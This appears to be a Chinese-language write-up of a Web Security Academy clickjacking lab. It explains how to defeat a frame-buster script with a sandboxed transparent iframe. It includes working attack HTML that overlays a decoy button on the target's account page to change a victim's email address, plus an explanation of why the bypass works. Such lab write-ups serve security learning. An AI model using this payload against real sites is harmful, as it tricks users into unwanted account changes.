# Clickjacking Lab3 這題差別在於目標網站加了 frame buster script,想防止被 iframe 載入。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/HJpanAT4lx.png) 登入題目給的帳密後,可以看到有上傳 email 選項,但為了讓使用者可以點上傳 email ,我們要在上面覆蓋一個區塊,所以要寫個 HTML。 ![image](https://hackmd.io/_uploads/r17NpATExx.png) 只要寫一個假的按鈕後,上面再疊一個透明的惡意按鈕,這樣使用者只會看到下層的按鈕,但觸發的效果是上層惡意按鈕的行為。 ```html= <style> iframe { position:relative; width:700px; height: 500px; opacity: 0.00000000000000001; z-index: 2; } div { position:absolute; top:441px; left:54px; z-index: 1; } </style> <div>Click me</div> <iframe sandbox="allow-forms" src="https://0a86005c035a1bd4816490e200200013.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe> ``` 和上題的差別在於多了 `sandbox="allow-forms"` 然後調數字調到 Click me 的文字在 upload email 上面這題就結束了。 ![image](https://hackmd.io/_uploads/ryOXt1CEgx.png) :::info ### 為什麼還可以 iframe + sandbox? sandbox 是由你主動設限的,網站沒法阻止,等於你告訴瀏覽器: 「這個 iframe 很安全!我自己主動限制它什麼都不能做,只有允許送出表單,我不是要執行惡意 JS、操控 parent,請放過我!」 所以,如果目標網站沒有設 X-Frame-Options 或 CSP frame-ancestors,又主動 sandbox 這個 iframe,那麼瀏覽器就會說: 「好啦,這 iframe 看起來很安全,我就讓你載吧。」 ::: ---